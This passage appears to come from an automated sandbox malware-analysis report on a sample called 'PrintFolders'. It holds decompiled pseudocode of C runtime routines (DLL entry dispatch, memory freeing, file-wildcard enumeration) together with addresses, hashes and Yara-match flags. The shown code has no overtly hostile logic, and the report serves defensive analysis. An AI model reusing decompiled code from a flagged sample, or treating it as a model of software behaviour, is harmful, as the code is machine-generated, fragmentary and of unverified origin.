                                                          						_push(_t42);
                                                          						_push( *((intOrPtr*)(_t47 + 8)));
                                                          						_t26 = E10001000();
                                                          						_t45 = _t26;
                                                          						 *(_t47 - 0x1c) = _t45;
                                                          						__eflags = _t42 - 1;
                                                          						if(_t42 == 1) {
                                                          							__eflags = _t45;
                                                          							if(_t45 == 0) {
                                                          								_push(_t35);
                                                          								_push(_t26);
                                                          								_push( *((intOrPtr*)(_t47 + 8)));
                                                          								_t29 = E10001000();
                                                          								__eflags = _t35;
                                                          								_t14 = _t35 != 0;
                                                          								__eflags = _t14;
                                                          								_push((_t29 & 0xffffff00 | _t14) & 0x000000ff);
                                                          								E100033D6(_t35, _t40, _t42, _t45, _t14);
                                                          								_pop(_t37);
                                                          								E10003591( *((intOrPtr*)(_t47 + 8)), _t45, _t35);
                                                          							}
                                                          						}
                                                          						__eflags = _t42;
                                                          						if(_t42 == 0) {
                                                          							L13:
                                                          							_t45 = E1000327C(_t35, _t37, _t40, _t42, _t45,  *((intOrPtr*)(_t47 + 8)), _t42, _t35);
                                                          							 *(_t47 - 0x1c) = _t45;
                                                          							__eflags = _t45;
                                                          							if(_t45 != 0) {
                                                          								_t45 = E10003591( *((intOrPtr*)(_t47 + 8)), _t42, _t35);
                                                          								 *(_t47 - 0x1c) = _t45;
                                                          							}
                                                          							goto L16;
                                                          						} else {
                                                          							__eflags = _t42 - 3;
                                                          							if(_t42 != 3) {
                                                          								goto L16;
                                                          							}
                                                          							goto L13;
                                                          						}
                                                          					}
                                                          					__eflags = _t42 - 2;
                                                          					if(_t42 == 2) {
                                                          						goto L6;
                                                          					}
                                                          					_t35 =  *(_t47 + 0x10);
                                                          					goto L8;
                                                          				}
                                                          				_t52 =  *0x10017968 - _t42; // 0x1
                                                          				if(_t52 > 0) {
                                                          					goto L3;
                                                          				}
                                                          				_t24 = 0;
                                                          				goto L17;
                                                          			}













                                                          0x10003486
                                                          0x10003486
                                                          0x10003488
                                                          0x1000348d
                                                          0x10003492
                                                          0x10003497
                                                          0x100034a8
                                                          0x100034a8
                                                          0x100034ac
                                                          0x100034af
                                                          0x100034bb
                                                          0x100034bb
                                                          0x100034c8
                                                          0x100034ca
                                                          0x100034cd
                                                          0x100034cf
                                                          0x10003578
                                                          0x10003578
                                                          0x1000357f
                                                          0x10003581
                                                          0x10003584
                                                          0x10003590
                                                          0x10003590
                                                          0x100034df
                                                          0x100034e1
                                                          0x100034e4
                                                          0x100034e6
                                                          0x00000000
                                                          0x00000000
                                                          0x100034ec
                                                          0x100034ec
                                                          0x100034ed
                                                          0x100034ee
                                                          0x100034f1
                                                          0x100034f6
                                                          0x100034f8
                                                          0x100034fb
                                                          0x100034fe
                                                          0x10003500
                                                          0x10003502
                                                          0x10003504
                                                          0x10003505
                                                          0x10003506
                                                          0x10003509
                                                          0x1000350e
                                                          0x10003510
                                                          0x10003510
                                                          0x10003516
                                                          0x10003517
                                                          0x1000351c
                                                          0x10003522
                                                          0x10003522
                                                          0x10003502
                                                          0x10003527
                                                          0x10003529
                                                          0x10003530
                                                          0x1000353a
                                                          0x1000353c
                                                          0x1000353f
                                                          0x10003541
                                                          0x1000354d
                                                          0x10003575
                                                          0x10003575
                                                          0x00000000
                                                          0x1000352b
                                                          0x1000352b
                                                          0x1000352e
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x1000352e
                                                          0x10003529
                                                          0x100034b1
                                                          0x100034b4
                                                          0x00000000
                                                          0x00000000
                                                          0x100034b6
                                                          0x00000000
                                                          0x100034b6
                                                          0x10003499
                                                          0x1000349f
                                                          0x00000000
                                                          0x00000000
                                                          0x100034a1
                                                          0x00000000

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID: dllmain_raw$dllmain_crt_dispatch
                                                          • String ID:
                                                          • API String ID: 3136044242-0
                                                          • Opcode ID: 52375cf17bb0d101189a85c26acd30f86b67d56865f3d0828ade5b8236379d4d
                                                          • Instruction ID: 4eae28f9cec24adab2deedadfa513907509d2ff78710b81ad0a66de0a83b0cb4
                                                          • Opcode Fuzzy Hash: 52375cf17bb0d101189a85c26acd30f86b67d56865f3d0828ade5b8236379d4d
                                                          • Instruction Fuzzy Hash: D8217F71D04A65BAFB23CE64DC45A6F3BADEB846D1F018115FC046B228D7309E419BA0
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00425AE6(intOrPtr* _a4) {
                                                          				intOrPtr _t6;
                                                          				intOrPtr* _t21;
                                                          				void* _t23;
                                                          				void* _t24;
                                                          				void* _t25;
                                                          				void* _t26;
                                                          				void* _t27;
                                                          
                                                          				_t21 = _a4;
                                                          				if(_t21 != 0) {
                                                          					_t23 =  *_t21 -  *0x43d160; // 0x43d1b4
                                                          					if(_t23 != 0) {
                                                          						E0041E2B8(_t7);
                                                          					}
                                                          					_t24 =  *((intOrPtr*)(_t21 + 4)) -  *0x43d164; // 0x450784
                                                          					if(_t24 != 0) {
                                                          						E0041E2B8(_t8);
                                                          					}
                                                          					_t25 =  *((intOrPtr*)(_t21 + 8)) -  *0x43d168; // 0x450784
                                                          					if(_t25 != 0) {
                                                          						E0041E2B8(_t9);
                                                          					}
                                                          					_t26 =  *((intOrPtr*)(_t21 + 0x30)) -  *0x43d190; // 0x43d1b8
                                                          					if(_t26 != 0) {
                                                          						E0041E2B8(_t10);
                                                          					}
                                                          					_t6 =  *((intOrPtr*)(_t21 + 0x34));
                                                          					_t27 = _t6 -  *0x43d194; // 0x450788
                                                          					if(_t27 != 0) {
                                                          						return E0041E2B8(_t6);
                                                          					}
                                                          				}
                                                          				return _t6;
                                                          			}










                                                          0x00425aec
                                                          0x00425af1
                                                          0x00425af5
                                                          0x00425afb
                                                          0x00425afe
                                                          0x00425b03
                                                          0x00425b07
                                                          0x00425b0d
                                                          0x00425b10
                                                          0x00425b15
                                                          0x00425b19
                                                          0x00425b1f
                                                          0x00425b22
                                                          0x00425b27
                                                          0x00425b2b
                                                          0x00425b31
                                                          0x00425b34
                                                          0x00425b39
                                                          0x00425b3a
                                                          0x00425b3d
                                                          0x00425b43
                                                          0x00000000
                                                          0x00425b4b
                                                          0x00425b43
                                                          0x00425b4e

                                                          APIs
                                                          • _free.LIBCMT ref: 00425AFE
                                                            • Part of subcall function 0041E2B8: HeapFree.KERNEL32(00000000,00000000,?,00425D87,?,00000000,?,?,?,0042602A,?,00000007,?,?,0042651D,?), ref: 0041E2CE
                                                            • Part of subcall function 0041E2B8: GetLastError.KERNEL32(?,?,00425D87,?,00000000,?,?,?,0042602A,?,00000007,?,?,0042651D,?,?), ref: 0041E2E0
                                                          • _free.LIBCMT ref: 00425B10
                                                          • _free.LIBCMT ref: 00425B22
                                                          • _free.LIBCMT ref: 00425B34
                                                          • _free.LIBCMT ref: 00425B46
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: _free$ErrorFreeHeapLast
                                                          • String ID:
                                                          • API String ID: 776569668-0
                                                          • Opcode ID: ecef4e8d75fb8ce96c2f369775812b1e7556ebdaa90a8c02d54b4a4fccf6128e
                                                          • Instruction ID: 60f62acaf68e8d6c11223a2e69ab09c63260fcc0bd08be4ea5654f22acdb9dbb
                                                          • Opcode Fuzzy Hash: ecef4e8d75fb8ce96c2f369775812b1e7556ebdaa90a8c02d54b4a4fccf6128e
                                                          • Instruction Fuzzy Hash: B5F03632A44614ABDA24EB66F891C5BBBDDAA007147E4185BFC0CD7741CB78FCC0866C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: _free
                                                          • String ID:
                                                          • API String ID: 269201875-0
                                                          • Opcode ID: 96f50b6fd2803bd5c4bda2139404532c31f5521687e24c4fa50f21b7b3d75918
                                                          • Instruction ID: b796e144102367d81c75d730982b4c61d5d1dbfd69c6644539770f527747fe0f
                                                          • Opcode Fuzzy Hash: 96f50b6fd2803bd5c4bda2139404532c31f5521687e24c4fa50f21b7b3d75918
                                                          • Instruction Fuzzy Hash: 39F09632404200B7EA60DF76F985C5773F9AA04B14B94880BF044D7A64CB78FCC0965C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E1000BA9B(intOrPtr* _a4) {
                                                          				intOrPtr _t6;
                                                          				intOrPtr* _t21;
                                                          				void* _t23;
                                                          				void* _t24;
                                                          				void* _t25;
                                                          				void* _t26;
                                                          				void* _t27;
                                                          
                                                          				_t21 = _a4;
                                                          				if(_t21 != 0) {
                                                          					_t23 =  *_t21 -  *0x100176f8; // 0x10017748
                                                          					if(_t23 != 0) {
                                                          						E10008701(_t7);
                                                          					}
                                                          					_t24 =  *((intOrPtr*)(_t21 + 4)) -  *0x100176fc; // 0x1001835c
                                                          					if(_t24 != 0) {
                                                          						E10008701(_t8);
                                                          					}
                                                          					_t25 =  *((intOrPtr*)(_t21 + 8)) -  *0x10017700; // 0x1001835c
                                                          					if(_t25 != 0) {
                                                          						E10008701(_t9);
                                                          					}
                                                          					_t26 =  *((intOrPtr*)(_t21 + 0x30)) -  *0x10017728; // 0x1001774c
                                                          					if(_t26 != 0) {
                                                          						E10008701(_t10);
                                                          					}
                                                          					_t6 =  *((intOrPtr*)(_t21 + 0x34));
                                                          					_t27 = _t6 -  *0x1001772c; // 0x10018360
                                                          					if(_t27 != 0) {
                                                          						return E10008701(_t6);
                                                          					}
                                                          				}
                                                          				return _t6;
                                                          			}










                                                          0x1000baa1
                                                          0x1000baa6
                                                          0x1000baaa
                                                          0x1000bab0
                                                          0x1000bab3
                                                          0x1000bab8
                                                          0x1000babc
                                                          0x1000bac2
                                                          0x1000bac5
                                                          0x1000baca
                                                          0x1000bace
                                                          0x1000bad4
                                                          0x1000bad7
                                                          0x1000badc
                                                          0x1000bae0
                                                          0x1000bae6
                                                          0x1000bae9
                                                          0x1000baee
                                                          0x1000baef
                                                          0x1000baf2
                                                          0x1000baf8
                                                          0x00000000
                                                          0x1000bb00
                                                          0x1000baf8
                                                          0x1000bb03

                                                          APIs
                                                          • _free.LIBCMT ref: 1000BAB3
                                                            • Part of subcall function 10008701: RtlFreeHeap.NTDLL(00000000,00000000,?,100074AC), ref: 10008717
                                                            • Part of subcall function 10008701: GetLastError.KERNEL32(?,?,100074AC), ref: 10008729
                                                          • _free.LIBCMT ref: 1000BAC5
                                                          • _free.LIBCMT ref: 1000BAD7
                                                          • _free.LIBCMT ref: 1000BAE9
                                                          • _free.LIBCMT ref: 1000BAFB
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID: _free$ErrorFreeHeapLast
                                                          • String ID:
                                                          • API String ID: 776569668-0
                                                          • Opcode ID: 5fb86163ccc0cf36f5f605bb33fc0d434e280abf0fbc2f313962ea386a657b11
                                                          • Instruction ID: 322c929f8fa3144f5d3f5fbca3afb4a8048b16d2c69f3c46f8cc95a9a1cb27b8
                                                          • Opcode Fuzzy Hash: 5fb86163ccc0cf36f5f605bb33fc0d434e280abf0fbc2f313962ea386a657b11
                                                          • Instruction Fuzzy Hash: 30F0F431618A209BEA54DF68E8C2C1A73E9FB057E07B08809F49CD754DCB32FC808B60
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: _free
                                                          • String ID: *?
                                                          • API String ID: 269201875-2564092906
                                                          • Opcode ID: 76b620e72b1dbb4dfcec853c55e4519de0bd11c3334c3aa31fb4d74e4a998a5d
                                                          • Instruction ID: 94cf888e9de60d1963efd33ec482e46fa66187b9afba07f34032ac2584db377d
                                                          • Opcode Fuzzy Hash: 76b620e72b1dbb4dfcec853c55e4519de0bd11c3334c3aa31fb4d74e4a998a5d
                                                          • Instruction Fuzzy Hash: 1F613075E002199FEF14DFA9C8815EEFBF5EF48314B24816AE815F7310E6359E818B94
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 80%
                                                          			E100093AE(void* __esi, signed int* _a4, signed int _a8, intOrPtr _a12) {
                                                          				intOrPtr _v0;
                                                          				signed int _v6;
                                                          				signed int _v8;
                                                          				signed int _v12;
                                                          				signed int _v16;
                                                          				intOrPtr _v20;
                                                          				intOrPtr _v24;
                                                          				signed int _v28;
                                                          				signed int _v32;
                                                          				signed int _v36;
                                                          				signed int _v40;
                                                          				intOrPtr* _v72;
                                                          				intOrPtr* _v104;
                                                          				intOrPtr* _v108;
                                                          				intOrPtr _v112;
                                                          				signed int _v124;
                                                          				struct _WIN32_FIND_DATAW _v608;
                                                          				char _v609;
                                                          				intOrPtr* _v616;
                                                          				union _FINDEX_INFO_LEVELS _v620;
                                                          				union _FINDEX_INFO_LEVELS _v624;
                                                          				union _FINDEX_INFO_LEVELS _v628;
                                                          				signed int _v632;
                                                          				union _FINDEX_INFO_LEVELS _v636;
                                                          				union _FINDEX_INFO_LEVELS _v640;
                                                          				signed int _v644;
                                                          				signed int _v648;
                                                          				union _FINDEX_INFO_LEVELS _v652;
                                                          				union _FINDEX_INFO_LEVELS _v656;
                                                          				union _FINDEX_INFO_LEVELS _v660;
                                                          				union _FINDEX_INFO_LEVELS _v664;
                                                          				signed int _v668;
                                                          				union _FINDEX_INFO_LEVELS _v672;
                                                          				union _FINDEX_INFO_LEVELS _v676;
                                                          				intOrPtr _v724;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				intOrPtr* _t131;
                                                          				signed int _t132;
                                                          				signed int _t134;
                                                          				signed int _t139;
                                                          				signed int _t140;
                                                          				intOrPtr* _t150;
                                                          				signed int _t152;
                                                          				intOrPtr _t153;
                                                          				signed int _t157;
                                                          				signed int _t159;
                                                          				signed int _t164;
                                                          				signed int _t166;
                                                          				char _t168;
                                                          				signed char _t169;
                                                          				signed int _t175;
                                                          				union _FINDEX_INFO_LEVELS _t179;
                                                          				signed int _t185;
                                                          				union _FINDEX_INFO_LEVELS _t188;
                                                          				intOrPtr* _t196;
                                                          				signed int _t199;
                                                          				intOrPtr _t204;
                                                          				signed int _t206;
                                                          				signed int _t209;
                                                          				signed int _t211;
                                                          				signed int _t212;
                                                          				signed int _t213;
                                                          				signed int _t215;
                                                          				signed int _t217;
                                                          				signed int _t218;
                                                          				signed int* _t219;
                                                          				signed int _t222;
                                                          				void* _t225;
                                                          				union _FINDEX_INFO_LEVELS _t226;
                                                          				void* _t227;
                                                          				intOrPtr _t229;
                                                          				signed int _t232;
                                                          				signed int _t233;
                                                          				signed int _t234;
                                                          				signed int _t236;
                                                          				intOrPtr* _t239;
                                                          				signed int _t241;
                                                          				intOrPtr* _t244;
                                                          				signed int _t249;
                                                          				signed int _t255;
                                                          				signed int _t257;
                                                          				signed int _t263;
                                                          				intOrPtr* _t264;
                                                          				signed int _t272;
                                                          				signed int _t274;
                                                          				intOrPtr* _t275;
                                                          				void* _t277;
                                                          				signed int _t280;
                                                          				signed int _t283;
                                                          				signed int _t285;
                                                          				intOrPtr _t287;
                                                          				void* _t288;
                                                          				signed int* _t292;
                                                          				signed int _t293;
                                                          				signed int _t295;
                                                          				signed int _t296;
                                                          				signed int _t297;
                                                          				signed int _t299;
                                                          				void* _t300;
                                                          				void* _t301;
                                                          				signed int _t302;
                                                          				void* _t306;
                                                          				signed int _t307;
                                                          				void* _t308;
                                                          				void* _t309;
                                                          				void* _t310;
                                                          				signed int _t311;
                                                          				void* _t312;
                                                          				void* _t313;
                                                          
                                                          				_t131 = _a8;
                                                          				_t309 = _t308 - 0x28;
                                                          				_push(__esi);
                                                          				_t317 = _t131;
                                                          				if(_t131 != 0) {
                                                          					_t292 = _a4;
                                                          					_t222 = 0;
                                                          					 *_t131 = 0;
                                                          					_t283 = 0;
                                                          					_t132 =  *_t292;
                                                          					_t232 = 0;
                                                          					_v608.cAlternateFileName = 0;
                                                          					_v40 = 0;
                                                          					_v36 = 0;
                                                          					__eflags = _t132;
                                                          					if(_t132 == 0) {
                                                          						L9:
                                                          						_v8 = _t222;
                                                          						_t134 = _t232 - _t283;
                                                          						_t293 = _t283;
                                                          						_v12 = _t293;
                                                          						_t271 = (_t134 >> 2) + 1;
                                                          						_t136 = _t134 + 3 >> 2;
                                                          						__eflags = _t232 - _t293;
                                                          						_v16 = (_t134 >> 2) + 1;
                                                          						asm("sbb esi, esi");
                                                          						_t295 =  !_t293 & _t134 + 0x00000003 >> 0x00000002;
                                                          						__eflags = _t295;
                                                          						if(_t295 != 0) {
                                                          							_t213 = _t283;
                                                          							_t280 = _t222;
                                                          							do {
                                                          								_t264 =  *_t213;
                                                          								_t20 = _t264 + 1; // 0x1
                                                          								_v20 = _t20;
                                                          								do {
                                                          									_t215 =  *_t264;
                                                          									_t264 = _t264 + 1;
                                                          									__eflags = _t215;
                                                          								} while (_t215 != 0);
                                                          								_t222 = _t222 + 1 + _t264 - _v20;
                                                          								_t213 = _v12 + 4;
                                                          								_t280 = _t280 + 1;
                                                          								_v12 = _t213;
                                                          								__eflags = _t280 - _t295;
                                                          							} while (_t280 != _t295);
                                                          							_t271 = _v16;
                                                          							_v8 = _t222;
                                                          							_t222 = 0;
                                                          							__eflags = 0;
                                                          						}
                                                          						_t296 = E1000709E(_t136, _t271, _v8, 1);
                                                          						_t310 = _t309 + 0xc;
                                                          						__eflags = _t296;
                                                          						if(_t296 != 0) {
                                                          							_v12 = _t283;
                                                          							_t139 = _t296 + _v16 * 4;
                                                          							_t233 = _t139;
                                                          							_v28 = _t139;
                                                          							_t140 = _t283;
                                                          							_v16 = _t233;
                                                          							__eflags = _t140 - _v40;
                                                          							if(_t140 == _v40) {
                                                          								L24:
                                                          								_v12 = _t222;
                                                          								 *_a8 = _t296;
                                                          								_t297 = _t222;
                                                          								goto L25;
                                                          							} else {
                                                          								_t274 = _t296 - _t283;
                                                          								__eflags = _t274;
                                                          								_v32 = _t274;
                                                          								do {
                                                          									_t150 =  *_t140;
                                                          									_t275 = _t150;
                                                          									_v24 = _t150;
                                                          									_v20 = _t275 + 1;
                                                          									do {
                                                          										_t152 =  *_t275;
                                                          										_t275 = _t275 + 1;
                                                          										__eflags = _t152;
                                                          									} while (_t152 != 0);
                                                          									_t153 = _t275 - _v20 + 1;
                                                          									_push(_t153);
                                                          									_v20 = _t153;
                                                          									_t157 = E1000B283(_t233, _v28 - _t233 + _v8, _v24);
                                                          									_t310 = _t310 + 0x10;
                                                          									__eflags = _t157;
                                                          									if(_t157 != 0) {
                                                          										_push(_t222);
                                                          										_push(_t222);
                                                          										_push(_t222);
                                                          										_push(_t222);
                                                          										_push(_t222);
                                                          										E10006359();
                                                          										asm("int3");
                                                          										_t306 = _t310;
                                                          										_push(_t233);
                                                          										_t239 = _v72;
                                                          										_t65 = _t239 + 1; // 0x1
                                                          										_t277 = _t65;
                                                          										do {
                                                          											_t159 =  *_t239;
                                                          											_t239 = _t239 + 1;
                                                          											__eflags = _t159;
                                                          										} while (_t159 != 0);
                                                          										_push(_t283);
                                                          										_t285 = _a8;
                                                          										_t241 = _t239 - _t277 + 1;
                                                          										_v12 = _t241;
                                                          										__eflags = _t241 -  !_t285;
                                                          										if(_t241 <=  !_t285) {
                                                          											_push(_t222);
                                                          											_push(_t296);
                                                          											_t68 = _t285 + 1; // 0x1
                                                          											_t225 = _t68 + _t241;
                                                          											_t300 = E10008BFC(_t225, 1);
                                                          											__eflags = _t285;
                                                          											if(_t285 == 0) {
                                                          												L40:
                                                          												_push(_v12);
                                                          												_t225 = _t225 - _t285;
                                                          												_t164 = E1000B283(_t300 + _t285, _t225, _v0);
                                                          												_t311 = _t310 + 0x10;
                                                          												__eflags = _t164;
                                                          												if(_t164 != 0) {
                                                          													goto L45;
                                                          												} else {
                                                          													_t229 = _a12;
                                                          													_t206 = E10009998(_t229);
                                                          													_v12 = _t206;
                                                          													__eflags = _t206;
                                                          													if(_t206 == 0) {
                                                          														 *( *(_t229 + 4)) = _t300;
                                                          														_t302 = 0;
                                                          														_t77 = _t229 + 4;
                                                          														 *_t77 =  *(_t229 + 4) + 4;
                                                          														__eflags =  *_t77;
                                                          													} else {
                                                          														E10008701(_t300);
                                                          														_t302 = _v12;
                                                          													}
                                                          													E10008701(0);
                                                          													_t209 = _t302;
                                                          													goto L37;
                                                          												}
                                                          											} else {
                                                          												_push(_t285);
                                                          												_t211 = E1000B283(_t300, _t225, _a4);
                                                          												_t311 = _t310 + 0x10;
                                                          												__eflags = _t211;
                                                          												if(_t211 != 0) {
                                                          													L45:
                                                          													_push(0);
                                                          													_push(0);
                                                          													_push(0);
                                                          													_push(0);
                                                          													_push(0);
                                                          													E10006359();
                                                          													asm("int3");
                                                          													_push(_t306);
                                                          													_t307 = _t311;
                                                          													_t312 = _t311 - 0x298;
                                                          													_t166 =  *0x10017004; // 0x615bd7ba
                                                          													_v124 = _t166 ^ _t307;
                                                          													_t244 = _v108;
                                                          													_t278 = _v104;
                                                          													_push(_t225);
                                                          													_push(0);
                                                          													_t287 = _v112;
                                                          													_v724 = _t278;
                                                          													__eflags = _t244 - _t287;
                                                          													if(_t244 != _t287) {
                                                          														while(1) {
                                                          															_t204 =  *_t244;
                                                          															__eflags = _t204 - 0x2f;
                                                          															if(_t204 == 0x2f) {
                                                          																break;
                                                          															}
                                                          															__eflags = _t204 - 0x5c;
                                                          															if(_t204 != 0x5c) {
                                                          																__eflags = _t204 - 0x3a;
                                                          																if(_t204 != 0x3a) {
                                                          																	_t244 = E1000D050(_t287, _t244);
                                                          																	__eflags = _t244 - _t287;
                                                          																	if(_t244 != _t287) {
                                                          																		continue;
                                                          																	}
                                                          																}
                                                          															}
                                                          															break;
                                                          														}
                                                          														_t278 = _v616;
                                                          													}
                                                          													_t168 =  *_t244;
                                                          													_v609 = _t168;
                                                          													__eflags = _t168 - 0x3a;
                                                          													if(_t168 != 0x3a) {
                                                          														L56:
                                                          														_t226 = 0;
                                                          														__eflags = _t168 - 0x2f;
                                                          														if(__eflags == 0) {
                                                          															L59:
                                                          															_t169 = 1;
                                                          														} else {
                                                          															__eflags = _t168 - 0x5c;
                                                          															if(__eflags == 0) {
                                                          																goto L59;
                                                          															} else {
                                                          																__eflags = _t168 - 0x3a;
                                                          																_t169 = 0;
                                                          																if(__eflags == 0) {
                                                          																	goto L59;
                                                          																}
                                                          															}
                                                          														}
                                                          														_v676 = _t226;
                                                          														_v672 = _t226;
                                                          														_push(_t300);
                                                          														asm("sbb eax, eax");
                                                          														_v668 = _t226;
                                                          														_v664 = _t226;
                                                          														_v644 =  ~(_t169 & 0x000000ff) & _t244 - _t287 + 0x00000001;
                                                          														_v660 = _t226;
                                                          														_v656 = _t226;
                                                          														_t175 = E10009391(_t244 - _t287 + 1, _t287,  &_v676, E100098A5(_t278, __eflags));
                                                          														_t313 = _t312 + 0xc;
                                                          														asm("sbb eax, eax");
                                                          														_t179 = FindFirstFileExW( !( ~_t175) & _v668, _t226,  &_v608, _t226, _t226, _t226);
                                                          														_t301 = _t179;
                                                          														__eflags = _t301 - 0xffffffff;
                                                          														if(_t301 != 0xffffffff) {
                                                          															_t249 =  *((intOrPtr*)(_v616 + 4)) -  *_v616;
                                                          															__eflags = _t249;
                                                          															_v648 = _t249 >> 2;
                                                          															do {
                                                          																_v640 = _t226;
                                                          																_v636 = _t226;
                                                          																_v632 = _t226;
                                                          																_v628 = _t226;
                                                          																_v624 = _t226;
                                                          																_v620 = _t226;
                                                          																_t185 = E100092C2( &(_v608.cFileName),  &_v640,  &_v609, E100098A5(_t278, __eflags));
                                                          																_t313 = _t313 + 0x10;
                                                          																asm("sbb eax, eax");
                                                          																_t188 =  !( ~_t185) & _v632;
                                                          																__eflags =  *_t188 - 0x2e;
                                                          																if( *_t188 != 0x2e) {
                                                          																	L67:
                                                          																	_push(_v616);
                                                          																	_push(_v644);
                                                          																	_push(_t287);
                                                          																	_push(_t188);
                                                          																	L33();
                                                          																	_t313 = _t313 + 0x10;
                                                          																	_v652 = _t188;
                                                          																	__eflags = _t188;
                                                          																	if(_t188 != 0) {
                                                          																		__eflags = _v620 - _t226;
                                                          																		if(_v620 != _t226) {
                                                          																			E10008701(_v632);
                                                          																			_t188 = _v652;
                                                          																		}
                                                          																		_t226 = _t188;
                                                          																	} else {
                                                          																		goto L68;
                                                          																	}
                                                          																} else {
                                                          																	_t255 =  *((intOrPtr*)(_t188 + 1));
                                                          																	__eflags = _t255;
                                                          																	if(_t255 == 0) {
                                                          																		goto L68;
                                                          																	} else {
                                                          																		__eflags = _t255 - 0x2e;
                                                          																		if(_t255 != 0x2e) {
                                                          																			goto L67;
                                                          																		} else {
                                                          																			__eflags =  *((intOrPtr*)(_t188 + 2)) - _t226;
                                                          																			if( *((intOrPtr*)(_t188 + 2)) == _t226) {
                                                          																				goto L68;
                                                          																			} else {
                                                          																				goto L67;
                                                          																			}
                                                          																		}
                                                          																	}
                                                          																}
                                                          																L76:
                                                          																FindClose(_t301);
                                                          																goto L77;
                                                          																L68:
                                                          																__eflags = _v620 - _t226;
                                                          																if(_v620 != _t226) {
                                                          																	E10008701(_v632);
                                                          																}
                                                          																__eflags = FindNextFileW(_t301,  &_v608);
                                                          															} while (__eflags != 0);
                                                          															_t196 = _v616;
                                                          															_t257 = _v648;
                                                          															_t278 =  *_t196;
                                                          															_t199 =  *((intOrPtr*)(_t196 + 4)) -  *_t196 >> 2;
                                                          															__eflags = _t257 - _t199;
                                                          															if(_t257 != _t199) {
                                                          																E1000CB20(_t278, _t278 + _t257 * 4, _t199 - _t257, 4, E100091F8);
                                                          															}
                                                          															goto L76;
                                                          														} else {
                                                          															_push(_v616);
                                                          															_push(_t226);
                                                          															_push(_t226);
                                                          															_push(_t287);
                                                          															L33();
                                                          															_t226 = _t179;
                                                          														}
                                                          														L77:
                                                          														__eflags = _v656;
                                                          														_pop(_t300);
                                                          														if(_v656 != 0) {
                                                          															E10008701(_v668);
                                                          														}
                                                          														_t190 = _t226;
                                                          													} else {
                                                          														_t190 = _t287 + 1;
                                                          														__eflags = _t244 - _t287 + 1;
                                                          														if(_t244 == _t287 + 1) {
                                                          															_t168 = _v609;
                                                          															goto L56;
                                                          														} else {
                                                          															_push(_t278);
                                                          															_push(0);
                                                          															_push(0);
                                                          															_push(_t287);
                                                          															L33();
                                                          														}
                                                          													}
                                                          													_pop(_t288);
                                                          													__eflags = _v16 ^ _t307;
                                                          													_pop(_t227);
                                                          													return E100031FF(_t190, _t227, _v16 ^ _t307, _t278, _t288, _t300);
                                                          												} else {
                                                          													goto L40;
                                                          												}
                                                          											}
                                                          										} else {
                                                          											_t209 = 0xc;
                                                          											L37:
                                                          											return _t209;
                                                          										}
                                                          									} else {
                                                          										goto L23;
                                                          									}
                                                          									goto L81;
                                                          									L23:
                                                          									_t212 = _v12;
                                                          									_t263 = _v16;
                                                          									 *((intOrPtr*)(_v32 + _t212)) = _t263;
                                                          									_t140 = _t212 + 4;
                                                          									_t233 = _t263 + _v20;
                                                          									_v16 = _t233;
                                                          									_v12 = _t140;
                                                          									__eflags = _t140 - _v40;
                                                          								} while (_t140 != _v40);
                                                          								goto L24;
                                                          							}
                                                          						} else {
                                                          							_t297 = _t296 | 0xffffffff;
                                                          							_v12 = _t297;
                                                          							L25:
                                                          							E10008701(_t222);
                                                          							_pop(_t234);
                                                          							goto L26;
                                                          						}
                                                          					} else {
                                                          						while(1) {
